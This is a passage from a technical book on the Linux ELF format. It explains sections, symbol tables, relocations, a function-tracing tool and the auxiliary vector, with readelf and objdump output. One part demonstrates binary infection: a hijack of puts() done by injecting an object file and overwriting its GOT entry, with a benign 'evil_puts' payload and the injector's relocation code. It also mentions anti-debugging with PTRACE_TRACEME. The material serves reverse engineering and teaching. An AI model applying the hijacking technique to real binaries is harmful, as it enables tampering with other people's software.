The rodata section contains read-only data such as strings from a line of C code, 
such as the following command are stored in this section:

printf("Hello World!\n");

This section is read-only and therefore must exist in a read-only segment of an 
executable. So you will find .rodata within the range of the text segment (not the 
data segment). Because this section is read-only, it is of type SHT_PROGBITS.

The .plt section
The procedure linkage table (PLT) will be discussed in depth later in this chapter, 
but it contains code necessary for the dynamic linker to call functions that are 
imported from shared libraries. It resides in the text segment and contains code,  
so it is marked as type SHT_PROGBITS.

The .data section
The data section, not to be confused with the data segment, will exist within the data 
segment and contain data such as initialized global variables. It contains program 
variable data, so it is marked SHT_PROGBITS.
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The .bss section
The bss section contains uninitialized global data as part of the data segment and 
therefore takes up no space on disk other than 4 bytes, which represents the section 
itself. The data is initialized to zero at program load time and the data can be 
assigned values during program execution. The bss section is marked SHT_NOBITS 
since it contains no actual data.

The .got.plt section
The Global offset table (GOT) section contains the global offset table. This works 
together with the PLT to provide access to imported shared library functions and is 
modified by the dynamic linker at runtime. This section in particular is often abused 
by attackers who gain a pointer-sized write primitive in heap or .bss exploits. We 
will discuss this in the ELF Dynamic Linking section of this chapter. This section has 
to do with program execution and therefore is marked SHT_PROGBITS.

The .dynsym section
The dynsym section contains dynamic symbol information imported from shared 
libraries. It is contained within the text segment and is marked as type SHT_DYNSYM.

The .dynstr section
The dynstr section contains the string table for dynamic symbols that has the name 
of each symbol in a series of null terminated strings.

The .rel.* section
Relocation sections contain information about how parts of an ELF object or process 
image need to be fixed up or modified at linking or runtime. We will discuss more 
about relocations in the ELF Relocations section of this chapter. Relocation sections  
are marked as type SHT_REL since they contain relocation data.

The .hash section
The hash section, sometimes called .gnu.hash, contains a hash table for symbol 
lookup. The following hash algorithm is used for symbol name lookups in Linux ELF:

uint32_t
dl_new_hash (const char *s)
{
        uint32_t h = 5381;
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        for (unsigned char c = *s; c != '\0'; c = *++s)
                h = h * 33 + c;

        return h;
}

h = h * 33 + c is often seen coded as h = ((h << 5) + h) + c

The .symtab section
The symtab section contains symbol information of type ElfN_Sym, which we will 
analyze more closely in the ELF symbols and relocations section of this chapter. The 
symtab section is marked as type SHT_SYMTAB as it contains symbol information.

The .strtab section
The .strtab section contains the symbol string table that is referenced by the  
st_name entries within the ElfN_Sym structs of .symtab and is marked as type  
SHT_STRTAB since it contains a string table.

The .shstrtab section
The shstrtab section contains the section header string table that is a set of null 
terminated strings containing the names of each section, such as .text, .data, and 
so on. This section is pointed to by the ELF file header entry called e_shstrndx that 
holds the offset of .shstrtab. This section is marked SHT_STRTAB since it contains  
a string table.

The .ctors and .dtors sections
The .ctors (constructors) and .dtors (destructors) sections contain function 
pointers to initialization and finalization code that is to be executed before and  
after the actual main() body of program code.

The __constructor__ function attribute is sometimes used by hackers 
and virus writers to implement a function that performs an anti-debugging 
trick such as calling PTRACE_TRACEME so that the process traces itself 
and no debuggers can attach to it. This way the anti-debugging code gets 
executed before the program enters into main().
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There are many other section names and types, but we have covered most of the 
primary ones found in a dynamically linked executable. One can now visualize  
how an executable is laid out with both phdrs and shdrs.

The text segments will be as follows:

• [.text]: This is the program code
• [.rodata]: This is read-only data
• [.hash]: This is the symbol hash table
• [.dynsym ]: This is the shared object symbol data
• [.dynstr ]: This is the shared object symbol name
• [.plt]: This is the procedure linkage table
• [.rel.got]: This is the G.O.T relocation data

The data segments will be as follows:

• [.data]: These are the globally initialized variables
• [.dynamic]: These are the dynamic linking structures and objects
• [.got.plt]: This is the global offset table
• [.bss]: These are the globally uninitialized variables

Let's take a look at an ET_REL file (object file) section header with the readelf –S 
command:

ryan@alchemy:~$ gcc -c test.c

ryan@alchemy:~$ readelf -S test.o

The following are 12 section headers, starting at offset 0 x 124:

  [Nr] Name              Type            Addr           Off
       Size              ES              Flg  Lk   Inf   Al
  [ 0]                   NULL            00000000    000000
       000000            00                   0    0     0
  [ 1] .text             PROGBITS        00000000       000034
       000034            00              AX   0    0     4
  [ 2] .rel.text         REL             00000000       0003d0
       000010            08                   10   1     4
  [ 3] .data             PROGBITS        00000000 000068
       000000            00              WA   0    0     4
  [ 4] .bss              NOBITS          00000000       000068

       000000            00              WA   0    0     4
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  [ 5] .comment          PROGBITS        00000000       000068
       00002b            01              MS   0    0     1
  [ 6] .note.GNU-stack   PROGBITS        00000000       000093
       000000            00                   0    0     1
  [ 7] .eh_frame         PROGBITS        00000000       000094
       000038            00              A    0    0     4
  [ 8] .rel.eh_frame     REL             00000000       0003e0
       000008            08                   10   7     4
  [ 9] .shstrtab         STRTAB          00000000       0000cc
       000057            00                   0    0     1
  [10] .symtab           SYMTAB          00000000       000304
       0000b0            10                   11   8     4
  [11] .strtab           STRTAB          00000000       0003b4
       00001a            00                   0    0     1

No program headers exist in relocatable objects (ELF files of type ET_REL) because .o files 
are meant to be linked into an executable, but not meant to be loaded directly into memory; 
therefore, readelf -l will yield no results on test.o. Linux loadable kernel modules are 
actually ET_REL objects and are an exception to the rule because they do get loaded directly 
into kernel memory and relocated on the fly.

We can see that many of the sections we talked about are present, but there are also 
some that are not. If we compile test.o into an executable, we will see that many 
new sections have been added, including .got.plt, .plt, .dynsym, and other 
sections that are related to dynamic linking and runtime relocations:

ryan@alchemy:~$ gcc evil.o -o evil

ryan@alchemy:~$ readelf -S evil

The following are 30 section headers, starting at offset 0 x 1140:

  [Nr] Name              Type            Addr           Off

       Size              ES              Flg  Lk  Inf   Al

  [ 0]                   NULL            00000000       000000

       000000            00                   0   0     0

  [ 1] .interp           PROGBITS        08048154       000154

       000013            00              A    0   0     1

  [ 2] .note.ABI-tag     NOTE            08048168       000168

       000020            00              A    0   0     4

  [ 3] .note.gnu.build-i NOTE            08048188       000188

       000024            00              A    0   0     4
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  [ 4] .gnu.hash         GNU_HASH        080481ac       0001ac

       000020            04              A    5   0     4

  [ 5] .dynsym           DYNSYM          080481cc       0001cc

       000060            10              A    6   1     4

  [ 6] .dynstr           STRTAB          0804822c       00022c

       000052            00              A    0   0     1

  [ 7] .gnu.version      VERSYM          0804827e       00027e

       00000c            02              A    5   0     2

  [ 8] .gnu.version_r    VERNEED         0804828c       00028c

       000020            00              A    6   1     4

  [ 9] .rel.dyn          REL             080482ac       0002ac

       000008            08              A    5   0     4

  [10] .rel.plt          REL             080482b4       0002b4

       000020            08              A    5   12    4

  [11] .init             PROGBITS        080482d4       0002d4

       00002e            00              AX   0   0     4

  [12] .plt              PROGBITS        08048310       000310

       000050            04              AX   0   0     16

  [13] .text             PROGBITS        08048360       000360

       00019c            00              AX   0   0     16

  [14] .fini             PROGBITS        080484fc       0004fc

       00001a            00              AX   0   0     4

  [15] .rodata           PROGBITS        08048518       000518

       000008            00              A    0   0     4

  [16] .eh_frame_hdr     PROGBITS        08048520       000520

       000034            00              A    0   0     4

  [17] .eh_frame         PROGBITS        08048554       000554

       0000c4            00              A    0   0     4

  [18] .ctors            PROGBITS        08049f14       000f14

       000008            00              WA   0   0     4

  [19] .dtors            PROGBITS        08049f1c       000f1c

       000008            00              WA   0   0     4

  [20] .jcr              PROGBITS        08049f24       000f24

       000004            00              WA   0   0     4

  [21] .dynamic          DYNAMIC         08049f28       000f28

       0000c8            08              WA   6   0     4
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  [22] .got              PROGBITS        08049ff0       000ff0

       000004            04              WA   0   0     4

  [23] .got.plt          PROGBITS        08049ff4       000ff4

       00001c            04              WA   0   0     4

  [24] .data             PROGBITS        0804a010       001010

       000008            00              WA   0   0     4

  [25] .bss              NOBITS          0804a018       001018

       000008            00              WA   0   0     4

  [26] .comment          PROGBITS        00000000       001018

       00002a            01              MS   0   0     1

  [27] .shstrtab         STRTAB          00000000       001042

       0000fc            00                   0   0     1

  [28] .symtab           SYMTAB          00000000       0015f0

       000420            10                   29  45    4

  [29] .strtab           STRTAB          00000000       001a10

       00020d            00                   0   0

As observed, a number of sections have been added, most notably the ones related 
to dynamic linking and constructors. I strongly suggest that the reader follows the 
exercise of deducing which sections have been changed or added and what purpose 
the added sections serve. Consult the ELF(5) man pages or the ELF specifications.

ELF symbols
Symbols are a symbolic reference to some type of data or code such as a global 
variable or function. For instance, the printf() function is going to have a symbol 
entry that points to it in the dynamic symbol table .dynsym. In most shared libraries 
and dynamically linked executables, there exist two symbol tables. In the readelf 
-S output shown previously, you can see two sections: .dynsym and .symtab.

The .dynsym contains global symbols that reference symbols from an external  
source, such as libc functions like printf, whereas the symbols contained in 
.symtab will contain all of the symbols in .dynsym, as well as the local symbols for 
the executable, such as global variables, or local functions that you have defined in 
your code. So .symtab contains all of the symbols, whereas .dynsym contains just  
the dynamic/global symbols.
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So the question is: Why have two symbol tables if .symtab already contains 
everything that's in .dynsym? If you check out the readelf -S output of an 
executable, you will see that some sections are marked A (ALLOC) or WA (WRITE/
ALLOC) or AX (ALLOC/EXEC). If you look at .dynsym, you will see that it is 
marked ALLOC, whereas .symtab has no flags.

ALLOC means that the section will be allocated at runtime and loaded into memory, 
and .symtab is not loaded into memory because it is not necessary for runtime. 
The .dynsym contains symbols that can only be resolved at runtime, and therefore 
they are the only symbols needed at runtime by the dynamic linker.  So, while 
the .dynsym symbol table is necessary for the execution of dynamically linked 
executables, the .symtab symbol table exists only for debugging and linking 
purposes and is often stripped (removed) from production binaries to save space.

Let's take a look at what an ELF symbol entry looks like for 64-bit ELF files:

typedef struct {
uint32_t      st_name;
    unsigned char st_info;
    unsigned char st_other;
    uint16_t      st_shndx;
    Elf64_Addr    st_value;
    Uint64_t      st_size;
} Elf64_Sym;

Symbol entries are contained within the .symtab and .dynsym sections, which is 
why the sh_entsize (section header entry size) for those sections are equivalent  
to sizeof(ElfN_Sym).

st_name
The st_name contains an offset into the symbol table's string table (located in either 
.dynstr or .strtab), where the name of the symbol is located, such as printf.

st_value
The st_value holds the value of the symbol (either an address or offset of  
its location).

st_size
The st_size contains the size of the symbol, such as the size of a global function 
ptr, which would be 4 bytes on a 32-bit system.
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st_other
This member defines the symbol visibility.

st_shndx
Every symbol table entry is defined in relation to some section. This member holds the 
relevant section header table index.

st_info
The st_info specifies the symbol type and binding attributes. For a complete list of 
these types and attributes, consult the ELF(5) man page. The symbol types start with 
STT whereas the symbol bindings start with STB. As an example, a few common 
ones are as explained in the next sections.

Symbol types
We've got the following symbol types:

• STT_NOTYPE: The symbols type is undefined
• STT_FUNC: The symbol is associated with a function or other executable code
• STT_OBJECT: The symbol is associated with a data object

Symbol bindings
We've got the following symbol bindings:

• STB_LOCAL: Local symbols are not visible outside the object file containing 
their definition, such as a function declared static.

• STB_GLOBAL: Global symbols are visible to all object files being combined. 
One file's definition of a global symbol will satisfy another file's undefined 
reference to the same symbol.

• STB_WEAK: Similar to global binding, but with less precedence, meaning that 
the binding is weak and may be overridden by another symbol (with the 
same name) that is not marked as STB_WEAK.

There are macros for packing and unpacking the binding and type fields:

• ELF32_ST_BIND(info) or ELF64_ST_BIND(info) extract a binding from an 
st_info value
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• ELF32_ST_TYPE(info) or ELF64_ST_TYPE(info) extract a type from an 
st_info value

• ELF32_ST_INFO(bind, type) or ELF64_ST_INFO(bind, type) convert a 
binding and a type into an st_info value

Let's look at the symbol table for the following source code:

static inline void foochu()
{ /* Do nothing */ }

void func1()
{ /* Do nothing */ }

_start()
{
        func1();
        foochu();
}

The following is the command to see the symbol table entries for functions foochu  
and func1:

ryan@alchemy:~$ readelf -s test | egrep 'foochu|func1'

     7: 080480d8     5 FUNC    LOCAL  DEFAULT    2 foochu

     8: 080480dd     5 FUNC    GLOBAL DEFAULT    2 func1

We can see that the foochu function is a value of 0x80480da, and is a function  
(STT_FUNC) that has a local symbol binding (STB_LOCAL). If you recall, we talked a 
little bit about LOCAL bindings, which mean that the symbol cannot be seen outside 
the object file it is defined it, which is why foochu is local, since we declared it with 
the static keyword in our source code.

Symbols make life easier for everyone; they are a part of ELF objects for the purpose 
of linking, relocation, readable disassembly, and debugging. This brings me to the 
topic of a useful tool that I coded in 2013, named ftrace. Similar to, and in the same 
spirit of ltrace and strace, ftrace will trace all of the function calls made within 
the binary and can also show other branch instructions such as jumps. I originally 
designed ftrace to help in reversing binaries for which I didn't have the source code 
while at work. The ftrace is considered to be a dynamic analysis tool. Let's take a 
look at some of its capabilities. We compile a binary with the following source code:

#include <stdio.h>

int func1(int a, int b, int c)
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{
  printf("%d %d %d\n", a, b ,c);
}

int main(void)
{
  func1(1, 2, 3);
}

Now, assuming that we don't have the preceding source code and we want to know 
the inner workings of the binary that it compiles into, we can run ftrace on it. First 
let's look at the synopsis:

ftrace [-p <pid>] [-Sstve] <prog>

The usage is as follows:

• [-p]: This traces by PID
• [-t]: This is for the type detection of function args
• [-s]: This prints string values
• [-v]: This gives a verbose output
• [-e]: This gives miscellaneous ELF information (symbols, dependencies)
• [-S]: This shows function calls with stripped symbols
• [-C]: This completes the control flow analysis

Let's give it a try:

ryan@alchemy:~$ ftrace -s test

[+] Function tracing begins here:

PLT_call@0x400420:__libc_start_main()

LOCAL_call@0x4003e0:_init()

(RETURN VALUE) LOCAL_call@0x4003e0: _init() = 0

LOCAL_call@0x40052c:func1(0x1,0x2,0x3)  // notice values passed

PLT_call@0x400410:printf("%d %d %d\n")  // notice we see string value

1 2 3

(RETURN VALUE) PLT_call@0x400410: printf("%d %d %d\n") = 6

(RETURN VALUE) LOCAL_call@0x40052c: func1(0x1,0x2,0x3) = 6

LOCAL_call@0x400470:deregister_tm_clones()

(RETURN VALUE) LOCAL_call@0x400470: deregister_tm_clones() = 7
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A clever individual might now be asking: What happens if a binary's symbol table 
has been stripped? That's right; you can strip a binary of its symbol table; however, a 
dynamically linked executable will always retain .dynsym but will discard .symtab 
if it is stripped, so only the imported library symbols will show up.

If a binary is compiled statically (gcc-static) or without libc linking  
(gcc-nostdlib), and it is then stripped with the strip command, a binary will have 
no symbol table at all since the dynamic symbol table is no longer imperative. The 
ftrace behaves differently with the –S flag that tells ftrace to show every function 
call even if there is no symbol attached to it. When using the –S flag, ftrace will 
display function names as SUB_<address_of_function>, similar to how IDA pro 
will show functions that have no symbol table reference.

Let's look at the following very simple source code:

int foo(void) {
}

_start()
{
  foo();
  __asm__("leave");
}

The preceding source code simply calls the foo() function and exits. The reason we 
are using _start() instead of main() is because we compile it with the following:

gcc -nostdlib test2.c -o test2

The gcc flag -nostdlib directs the linker to omit standard libc linking conventions 
and to simply compile the code that we have and nothing more. The default entry 
point is a symbol called _start():

ryan@alchemy:~$ ftrace ./test2

[+] Function tracing begins here:

LOCAL_call@0x400144:foo()

(RETURN VALUE) LOCAL_call@0x400144: foo() = 0

Now let's strip the symbol table and run ftrace on it again:

ryan@alchemy:~$ strip test2

ryan@alchemy:~$ ftrace -S test2

[+] Function tracing begins here:

LOCAL_call@0x400144:sub_400144()

(RETURN VALUE) LOCAL_call@0x400144: sub_400144() = 0
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We now notice that foo() function has been replaced by sub_400144(), which 
shows that the function call is happening at address 0x400144. Now if we look at the 
binary test2 before we stripped the symbols, we can see that 0x400144 is indeed 
where foo() is located:

ryan@alchemy:~$ objdump -d test2

test2:     file format elf64-x86-64

Disassembly of section .text:

0000000000400144<foo>:

  400144:   55                      push   %rbp

  400145:   48 89 e5                mov    %rsp,%rbp

  400148:   5d                      pop    %rbp

  400149:   c3                      retq   

000000000040014a <_start>:

  40014a:   55                      push   %rbp

  40014b:   48 89 e5                mov    %rsp,%rbp

  40014e:   e8 f1 ff ff ff          callq  400144 <foo>

  400153:   c9                      leaveq

  400154:   5d                      pop    %rbp

  400155:   c3                 retq

In fact, to give you a really good idea of how helpful symbols can be to reverse 
engineers (when we have them), let's take a look at the test2 binary, this time 
without symbols to demonstrate how it becomes slightly less obvious to read. This 
is primarily because branch instructions no longer have a symbol name attached 
to them, so analyzing the control flow becomes more tedious and requires more 
annotation, which some disassemblers like IDA-pro allow us to do as we go:

$ objdump -d test2

test2:     file format elf64-x86-64

Disassembly of section .text:

0000000000400144 <.text>:

  400144:   55                      push   %rbp  

  400145:   48 89 e5                mov    %rsp,%rbp

  400148:   5d                      pop    %rbp

  400149:   c3                      retq   

  40014a:   55                      push   %rbp 
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  40014b:   48 89 e5                mov    %rsp,%rbp

  40014e:   e8 f1 ff ff ff          callq  0x400144

  400153:   c9                      leaveq

  400154:   5d                      pop    %rbp

  400155:   c3                      retq   

The only thing to give us an idea where a new function starts is by examining 
the procedure prologue, which is at the beginning of every function, unless (gcc 
-fomit-frame-pointer) has been used, in which case it becomes less obvious  
to identify.

This book assumes that the reader already has some knowledge of assembly 
language, since teaching x86 asm is not the goal of this book, but notice the preceding 
emboldened procedure prologue, which helps denote the start of each function. The 
procedure prologue just sets up the stack frame for each new function that has been 
called by backing up the base pointer on the stack and setting its value to the stack 
pointers before the stack pointer is adjusted to make room for local variables. This 
way variables can be referenced as positive offsets from a fixed address stored in  
the base pointer register ebp/rbp.

Now that we've gotten a grasp on symbols, the next step is to understand relocations. 
We will see in the next section how symbols, relocations, and sections are all closely 
tied together and live at the same level of abstraction within the ELF format. 

ELF relocations
From the ELF(5) man pages:

Relocation is the process of connecting symbolic references with symbolic 
definitions. Relocatable files must have information that describes how to modify 
their section contents, thus allowing executable and shared object files to hold the 
right information for a process's program image. Relocation entries are these data.

The process of relocation relies on symbols and sections, which is why we covered 
symbols and sections first. In relocations, there are relocation records, which essentially 
contain information about how to patch the code related to a given symbol. 
Relocations are literally a mechanism for binary patching and even hot-patching in 
memory when the dynamic linker is involved. The linker program: /bin/ld that is 
used to create executable files, and shared libraries must have some type of metadata 
that describes how to patch certain instructions. This metadata is stored as what we 
call relocation records. I will further explain relocations by using an example.
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Imagine having two object files linked together to create an executable. We have 
obj1.o that contains the code to call a function named foo() that is located in 
obj2.o. Both obj1.o and obj2.o are analyzed by the linker program and contain 
relocation records so that they may be linked to create a fully working executable 
program. Symbolic references will be resolved into symbolic definitions, but what 
does that even mean? Object files are relocatable code, which means that it is code 
that is meant to be relocated to a location at a given address within an executable 
segment. Before the relocation process happens, the code has symbols and code that 
will not properly function or cannot be properly referenced without first knowing 
their location in memory. These must be patched after the position of the instruction 
or symbol within the executable segment is known by the linker.

Let's take a quick look at a 64-bit relocation entry:

typedef struct {
        Elf64_Addr r_offset;
        Uint64_t   r_info;
} Elf64_Rel;

And some relocation entries require an addend:

typedef struct {
        Elf64_Addr r_offset;
        uint64_t   r_info;
        int64_t    r_addend;
} Elf64_Rela;

The r_offset points to the location that requires the relocation action. A relocation 
action describes the details of how to patch the code or data contained at r_offset.

The r_info gives both the symbol table index with respect to which the relocation 
must be made and the type of relocation to apply.

The r_addend specifies a constant addend used to compute the value stored in the 
relocatable field.

The relocation records for 32-bit ELF files are the same as for 64-bit, but use 32-bit 
integers. The following example for are object file code will be compiled as 32-bit  
so that we can demonstrate implicit addends, which are not as commonly used in  
64-bit. An implicit addend occurs when the relocation records are stored in ElfN_Rel 
type structures that don't contain an r_addend field and therefore the addend is 
stored in the relocation target itself. The 64-bit executables tend to use the ElfN_Rela  
structs that contain an explicit addend. I think it is worth understanding both 
scenarios, but implicit addends are a little more confusing, so it makes sense to  
bring light to this area.
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Let's take a look at the source code:

_start()
{
   foo();
}

We see that it calls the foo() function. However, the foo() function is not located 
directly within that source code file; so, upon compiling, there will be a relocation 
entry created that is necessary for later satisfying the symbolic reference:

$ objdump -d obj1.o

obj1.o:     file format elf32-i386

Disassembly of section .text:

00000000 <func>:

   0:   55                      push   %ebp

   1:   89 e5                   mov    %esp,%ebp

   3:   83 ec 08                sub    $0x8,%esp

   6:   e8 fc ff ff ff          call 7 <func+0x7>

   b:   c9                      leave  

   c:   c3                      ret   

As we can see, the call to foo() is highlighted and it contains the value 0xfffffffc, 
which is the implicit addend. Also notice the call 7. The number 7 is the offset of 
the relocation target to be patched. So when obj1.o (which calls foo() located in 
obj2.o) is linked with obj2.o to make an executable, a relocation entry that points 
at offset 7 is processed by the linker, telling it which location (offset 7) needs to be 
modified. The linker then patches the 4 bytes at offset 7 so that it will contain the  
real offset to the foo() function, after foo() has been positioned somewhere within 
the executable.

The call instruction e8 fc ff ff ff contains the implicit addend 
and is important to remember for this lesson; the value 0xfffffffc is 
-(4) or -(sizeof(uint32_t)). A dword is 4 bytes on a 32-bit system, 
which is the size of this relocation target.

$ readelf -r obj1.o

Relocation section '.rel.text' at offset 0x394 contains 1 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

00000007  00000902 R_386_PC32        00000000   foo
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As we can see, a relocation field at offset 7 is specified by the relocation entry's  
r_offset field.

• R_386_PC32 is the relocation type. To understand all of these types, read  
the ELF specs. Each relocation type requires a different computation on  
the relocation target being modified. R_386_PC32 modifies the target with  
S + A – P.

• S is the value of the symbol whose index resides in the relocation entry.
• A is the addend found in the relocation entry.
• P is the place (section offset or address) of the storage unit being relocated 

(computed using r_offset).

Let's look at the final output of our executable after compiling obj1.o and obj2.o on 
a 32-bit system:

$ gcc -nostdlib obj1.o obj2.o -o relocated

$ objdump -d relocated

test:     file format elf32-i386

Disassembly of section .text:

080480d8 <func>:

 80480d8:   55                      push   %ebp

 80480d9:   89 e5                   mov    %esp,%ebp

 80480db:   83 ec 08                sub    $0x8,%esp

 80480de:   e8 05 00 00 00          call   80480e8 <foo>

 80480e3:   c9                      leave  

 80480e4:   c3                      ret    

 80480e5:   90                      nop

 80480e6:   90                      nop

 80480e7:   90                      nop

080480e8 <foo>:

 80480e8:   55                      push   %ebp

 80480e9:   89 e5                   mov    %esp,%ebp

 80480eb:   5d                      pop    %ebp

 80480ec:   c3                      ret
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We can see that the call instruction (the relocation target) at 0x80480de has been 
modified with the 32-bit offset value of 5, which points foo(). The value 5 is the 
result of the R386_PC_32 relocation action:

S + A – P: 0x80480e8 + 0xfffffffc – 0x80480df = 5

The 0xfffffffc is the same as –4 if a signed integer, so the calculation can also be 
seen as:

0x80480e8 + (0x80480df + sizeof(uint32_t))

To calculate an offset into a virtual address, use the following computation:
address_of_call + offset + 5 (Where 5 is the length of the call 
instruction)

Which in this case is 0x80480de + 5 + 5 = 0x80480e8.

Pay attention to this computation as it is important to remember and 
can be used when calculating offsets to addresses frequently.

An address may also be computed into an offset with the following computation:

address – address_of_call – 4 (Where 4 is the length of the immediate 
operand to the call instruction, which is 32bits).

As mentioned previously, the ELF specs cover ELF relocations in depth, and we will 
be visiting some of the types used in dynamic linking in the next section, such as 
R386_JMP_SLOT relocation entries.

Relocatable code injection-based binary 
patching
Relocatable code injection is a technique that hackers, virus writers, or anyone who 
wants to modify the code in a binary may utilize as a way to relink a binary after it's 
already been compiled and linked into an executable. That is, you can inject an object 
file into an executable, update the executable's symbol table to reflect newly inserted 
functionality, and perform the necessary relocations on the injected object code so 
that it becomes a part of the executable.

A complicated virus might use this technique rather than just appending position-
independent code. This technique requires making room in the target executable  
to inject the code, followed by applying the relocations. We will cover binary 
infection and code injection more thoroughly in Chapter 4, ELF Virus Technology – 
Linux/Unix Viruses.
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As mentioned in Chapter 1, The Linux Environment and Its Tools, there is an amazing 
tool called Eresi (http://www.eresi-project.org), which is capable of relocatable 
code injection (aka ET_REL injection). I also designed a custom reverse engineering 
tool for ELF, namely, Quenya. It is very old but can be found at http://www.
bitlackeys.org/projects/quenya_32bit.tgz. Quenya has many features and 
capabilities, and one of them is to inject object code into an executable. This can be 
very useful for patching a binary by hijacking a given function. Quenya is only a 
prototype and was never developed to the extent that the Eresi project was. I am  
only using it as an example because I am more familiar with it; however, I will say 
that for more reliable results, it may be desirable to either use Eresi or write your  
own tooling.

Let us pretend we are an attacker and we want to infect a 32-bit program that  
calls puts() to print Hello World. Our goal is to hijack puts() so that it calls  
evil_puts():

#include <sys/syscall.h>
int _write (int fd, void *buf, int count)
{
  long ret;

  __asm__ __volatile__ ("pushl %%ebx\n\t"
"movl %%esi,%%ebx\n\t"
"int $0x80\n\t""popl %%ebx":"=a" (ret)
                        :"0" (SYS_write), "S" ((long) fd),
"c" ((long) buf), "d" ((long) count));
  if (ret >= 0) {
    return (int) ret;
  }
  return -1;
}
int evil_puts(void)
{
        _write(1, "HAHA puts() has been hijacked!\n", 31);
}

Now we compile evil_puts.c into evil_puts.o and inject it into our program 
called ./hello_world:

$ ./hello_world

Hello World

http://www.eresi-project.org
http://www.bitlackeys.org/projects/quenya_32bit.tgz
http://www.bitlackeys.org/projects/quenya_32bit.tgz
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This program calls the following:

puts("Hello World\n");

We now use Quenya to inject and relocate our evil_puts.o file into hello_world:

[Quenya v0.1@alchemy] reloc evil_puts.o hello_world

0x08048624  addr: 0x8048612

0x080485c4 _write addr: 0x804861e

0x080485c4  addr: 0x804868f

0x080485c4  addr: 0x80486b7

Injection/Relocation succeeded

As we can see, the write() function from our evil_puts.o object file has been 
relocated and assigned an address at 0x804861e in the executable file hello_world. 
The next command hijack overwrites the global offset table entry for puts() with  
the address of evil_puts():

[Quenya v0.1@alchemy] hijack binary hello_world evil_puts puts

Attempting to hijack function: puts

Modifying GOT entry for puts

Successfully hijacked function: puts

Committing changes into executable file

[Quenya v0.1@alchemy] quit

And Whammi!

ryan@alchemy:~/quenya$ ./hello_world

HAHA puts() has been hijacked!

We have successfully relocated an object file into an executable and modified the 
executable's control flow so that it executes the code that we injected. If we use 
readelf -s on hello_world, we can actually now see a symbol for evil_puts().

For your interest, I have included a small snippet of code that contains the ELF 
relocation mechanics in Quenya; it may be a little bit obscure without seeing the rest 
of the code base, but it is also somewhat straightforward if you have retained what 
we learned about relocations: 

switch(obj.shdr[i].sh_type)
{
case SHT_REL: /* Section contains ElfN_Rel records */
rel = (Elf32_Rel *)(obj.mem + obj.shdr[i].sh_offset);
for (j = 0; j < obj.shdr[i].sh_size / sizeof(Elf32_Rel); j++, rel++)
{
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/* symbol table */ 
symtab = (Elf32_Sym *)obj.section[obj.shdr[i].sh_link]; 

/* symbol we are applying relocation to */
symbol = &symtab[ELF32_R_SYM(rel->r_info)];

/* section to modify */
TargetSection = &obj.shdr[obj.shdr[i].sh_info];
TargetIndex = obj.shdr[i].sh_info;

/* target location */
TargetAddr = TargetSection->sh_addr + rel->r_offset;

/* pointer to relocation target */
RelocPtr = (Elf32_Addr *)(obj.section[TargetIndex] + rel->r_offset);

/* relocation value */
RelVal = symbol->st_value; 
RelVal += obj.shdr[symbol->st_shndx].sh_addr;

printf("0x%08x %s addr: 0x%x\n",RelVal, &SymStringTable[symbol->st_
name], TargetAddr);

switch (ELF32_R_TYPE(rel->r_info)) 
{
/* R_386_PC32      2    word32  S + A - P */ 
case R_386_PC32:
*RelocPtr += RelVal;
*RelocPtr -= TargetAddr;
break;

/* R_386_32        1    word32  S + A */
case R_386_32:
*RelocPtr += RelVal;
     break;
 } 
}

As shown in the preceding code, the relocation target that RelocPtr points to  
is modified according to the relocation action requested by the relocation type  
(such as R_386_32).
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Although relocatable code binary injection is a good example of the idea behind 
relocations, it is not a perfect example of how a linker actually performs it with 
multiple object files. Nevertheless, it still retains the general idea and application of a 
relocation action. Later on we will talk about shared library (ET_DYN) injection, which 
brings us now to the topic of dynamic linking.

ELF dynamic linking
In the old days, everything was statically linked. If a program used external library 
functions, the entire library was compiled directly into the executable. ELF supports 
dynamic linking, which is a much more efficient way to go about handling  
shared libraries.

When a program is loaded into memory, the dynamic linker also loads and binds the 
shared libraries that are needed to that process address space. The topic of dynamic 
linking is rarely understood by people in any depth as it is a relatively complex 
procedure and seems to work like magic under the hood. In this section, we will 
demystify some of its complexities and reveal how it works and also how it can  
be abused by attackers.

Shared libraries are compiled as position-independent and can therefore be easily 
relocated into a process address space. A shared library is a dynamic ELF object. 
If you look at readelf -h lib.so, you will see that the e_type (ELF file type) is 
called ET_DYN. Dynamic objects are very similar to executables. They do not typically 
have a PT_INTERP segment since they are loaded by the program interpreter, and 
therefore will not be invoking a program interpreter.

When a shared library is loaded into a process address space, it must have any 
relocations satisfied that reference other shared libraries. The dynamic linker must 
modify the GOT (Global offset table) of the executable (located in the section  
.got.plt), which is a table of addresses located in the data segment. It is in the  
data segment because it must be writeable (at least initially; see read-only relocations  
as a security feature). The dynamic linker patches the GOT with resolved shared 
library addresses. We will explain the process of lazy linking shortly.
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The auxiliary vector
When a program gets loaded into memory by the sys_execve() syscall, the 
executable is mapped in and given a stack (among other things). The stack for that 
process address space is set up in a very specific way to pass information to the 
dynamic linker. This particular setup and arrangement of information is known as 
the auxiliary vector or auxv. The bottom of the stack (which is its highest memory 
address since the stack grows down on x86 architecture) is loaded with the following 
information:

[argc][argv][envp][auxiliary][.ascii data for argv/envp]

The auxiliary vector (or auxv) is a series of ElfN_auxv_t  structs.

typedef struct
{
  uint64_t a_type;              /* Entry type */
  union
    {
      uint64_t a_val;           /* Integer value */
    } a_un;
} Elf64_auxv_t;

The a_type describes the auxv entry type, and the a_val provides its value.  
The following are some of the most important entry types that are needed by  
the dynamic linker:

#define AT_EXECFD       2       /* File descriptor of program */

#define AT_PHDR         3       /* Program headers for program */

#define AT_PHENT        4       /* Size of program header entry */

#define AT_PHNUM        5       /* Number of program headers */

#define AT_PAGESZ       6       /* System page size */

#define AT_ENTRY        9       /* Entry point of program */

#define AT_UID          11      /* Real uid */

The dynamic linker retrieves information from the stack about the executing 
program. The linker must know where the program headers are, the entry point  
of the program, and so on. I listed only a few of the auxv entry types previously, 
taken from /usr/include/elf.h.
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The auxiliary vector gets set up by a kernel function called create_elf_tables() 
that resides in the Linux source code /usr/src/linux/fs/binfmt_elf.c.

In fact, the execution process from the kernel looks something like the following:

1. sys_execve() →.
2. Calls do_execve_common() →.
3. Calls search_binary_handler() →.
4. Calls load_elf_binary() →.
5. Calls create_elf_tables() →.

The following is some of the code from create_elf_tables() in /usr/src/linux/
fs/binfmt_elf.c that adds auxv entries:

NEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE);
NEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff);
NEW_AUX_ENT(AT_PHENT, sizeof(struct elf_phdr));
